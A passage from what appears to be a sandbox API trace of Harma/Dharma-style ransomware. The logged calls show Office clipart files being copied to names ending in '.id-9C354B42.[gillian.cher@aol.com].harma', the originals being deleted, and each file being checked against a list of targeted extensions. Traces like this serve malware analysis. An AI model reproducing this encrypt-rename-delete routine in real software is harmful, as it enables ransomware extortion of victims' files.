"c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0157.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.028] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.028] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0157.030] GetLastError () returned 0x0 [0157.030] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x5f8, lpOverlapped=0x0) returned 1 [0157.034] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x600, lpOverlapped=0x0) returned 1 [0157.034] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.034] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.035] SetEndOfFile (hFile=0x330) returned 1 [0157.035] CloseHandle (hObject=0x330) returned 1 [0157.035] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.035] SetEndOfFile (hFile=0x388) returned 1 [0157.037] CloseHandle (hObject=0x388) returned 1 [0157.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.038] lstrlenW (lpString=".doc") returned 4 [0157.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".docx") returned 5 [0157.038] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.038] lstrlenW (lpString=".pdf") returned 4 [0157.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".xls") returned 4 [0157.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.038] lstrlenW (lpString=".xlsx") returned 5 [0157.038] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.038] lstrlenW (lpString=".ppt") returned 4 [0157.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.038] lstrlenW (lpString=".zip") returned 4 [0157.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.038] lstrlenW (lpString=".rar") returned 4 [0157.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".bz2") returned 4 [0157.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".7z") returned 3 [0157.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.038] lstrlenW (lpString=".dbf") returned 4 [0157.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.038] lstrlenW (lpString=".1cd") returned 4 [0157.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.039] lstrlenW (lpString=".jpg") returned 4 [0157.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.039] lstrlenW (lpString=".doc") returned 4 [0157.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".docx") returned 5 [0157.039] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.039] lstrlenW (lpString=".pdf") returned 4 [0157.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".xls") returned 4 [0157.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.039] lstrlenW (lpString=".xlsx") returned 5 [0157.039] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.039] lstrlenW (lpString=".ppt") returned 4 [0157.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.039] lstrlenW (lpString=".zip") returned 4 [0157.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.039] lstrlenW (lpString=".rar") returned 4 [0157.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".bz2") returned 4 [0157.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".7z") returned 3 [0157.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.039] lstrlenW (lpString=".dbf") returned 4 [0157.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.039] lstrlenW (lpString=".1cd") returned 4 [0157.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0157.040] lstrlenW (lpString=".jpg") returned 4 [0157.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.040] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.040] lstrlenW (lpString="HH00443_.WMF") returned 12 [0157.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.041] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=3298) returned 1 [0157.041] CloseHandle (hObject=0x388) returned 1 [0157.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0157.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.042] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.042] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0157.042] GetLastError () returned 0x0 [0157.042] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xce2, lpOverlapped=0x0) returned 1 [0157.044] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xcf0, lpOverlapped=0x0) returned 1 [0157.045] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.045] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.045] SetEndOfFile (hFile=0x330) returned 1 [0157.045] CloseHandle (hObject=0x330) returned 1 [0157.045] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.045] SetEndOfFile (hFile=0x388) returned 1 [0157.048] CloseHandle (hObject=0x388) returned 1 [0157.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0157.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.049] lstrlenW (lpString=".doc") returned 4 [0157.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.049] lstrlenW (lpString=".docx") returned 5 [0157.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.049] lstrlenW (lpString=".pdf") returned 4 [0157.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.049] lstrlenW (lpString=".xls") returned 4 [0157.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.049] lstrlenW (lpString=".xlsx") returned 5 [0157.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.050] lstrlenW (lpString=".ppt") returned 4 [0157.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.050] lstrlenW (lpString=".zip") returned 4 [0157.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.050] lstrlenW (lpString=".rar") returned 4 [0157.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString=".bz2") returned 4 [0157.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString=".7z") returned 3 [0157.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.050] lstrlenW (lpString=".dbf") returned 4 [0157.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.050] lstrlenW (lpString=".1cd") returned 4 [0157.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.050] lstrlenW (lpString=".jpg") returned 4 [0157.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.050] lstrlenW (lpString=".doc") returned 4 [0157.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString=".docx") returned 5 [0157.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.050] lstrlenW (lpString=".pdf") returned 4 [0157.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.050] lstrlenW (lpString=".xls") returned 4 [0157.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.050] lstrlenW (lpString=".xlsx") returned 5 [0157.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.051] lstrlenW (lpString=".ppt") returned 4 [0157.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.051] lstrlenW (lpString=".zip") returned 4 [0157.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.051] lstrlenW (lpString=".rar") returned 4 [0157.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.051] lstrlenW (lpString=".bz2") returned 4 [0157.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.051] lstrlenW (lpString=".7z") returned 3 [0157.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.051] lstrlenW (lpString=".dbf") returned 4 [0157.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.051] lstrlenW (lpString=".1cd") returned 4 [0157.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0157.051] lstrlenW (lpString=".jpg") returned 4 [0157.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.051] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.051] lstrlenW (lpString="HH00513_.WMF") returned 12 [0157.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.052] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=818) returned 1 [0157.052] CloseHandle (hObject=0x388) returned 1 [0157.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0157.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.052] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.052] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0157.053] GetLastError () returned 0x0 [0157.053] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x332, lpOverlapped=0x0) returned 1 [0157.055] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x340, lpOverlapped=0x0) returned 1 [0157.056] ReadFile (in: hFile=0x388, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.056] WriteFile (in: hFile=0x330, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.056] SetEndOfFile (hFile=0x330) returned 1 [0157.056] CloseHandle (hObject=0x330) returned 1 [0157.056] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.056] SetEndOfFile (hFile=0x388) returned 1 [0157.058] CloseHandle (hObject=0x388) returned 1 [0157.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.058] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0157.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.059] lstrlenW (lpString=".doc") returned 4 [0157.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.059] lstrlenW (lpString=".docx") returned 5 [0157.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.059] lstrlenW (lpString=".pdf") returned 4 [0157.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.059] lstrlenW (lpString=".xls") returned 4 [0157.059] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.059] lstrlenW (lpString=".xlsx") returned 5 [0157.059] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.059] lstrlenW (lpString=".ppt") returned 4 [0157.059] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.059] lstrlenW (lpString=".zip") returned 4 [0157.059] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.059] lstrlenW (lpString=".rar") returned 4 [0157.059] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.059] lstrlenW (lpString=".bz2") returned 4 [0157.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.239] lstrlenW (lpString=".7z") returned 3 [0157.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.239] lstrlenW (lpString=".dbf") returned 4 [0157.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.240] lstrlenW (lpString=".1cd") returned 4 [0157.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.240] lstrlenW (lpString=".jpg") returned 4 [0157.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.240] lstrlenW (lpString=".doc") returned 4 [0157.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".docx") returned 5 [0157.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.240] lstrlenW (lpString=".pdf") returned 4 [0157.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".xls") returned 4 [0157.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.240] lstrlenW (lpString=".xlsx") returned 5 [0157.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.240] lstrlenW (lpString=".ppt") returned 4 [0157.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.240] lstrlenW (lpString=".zip") returned 4 [0157.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.240] lstrlenW (lpString=".rar") returned 4 [0157.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".bz2") returned 4 [0157.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.240] lstrlenW (lpString=".7z") returned 3 [0157.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.241] lstrlenW (lpString=".dbf") returned 4 [0157.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.241] lstrlenW (lpString=".1cd") returned 4 [0157.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0157.241] lstrlenW (lpString=".jpg") returned 4 [0157.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.241] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.241] lstrlenW (lpString="HH00526_.WMF") returned 12 [0157.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0157.302] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=13538) returned 1 [0157.302] CloseHandle (hObject=0x360) returned 1 [0157.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0157.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0157.302] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, 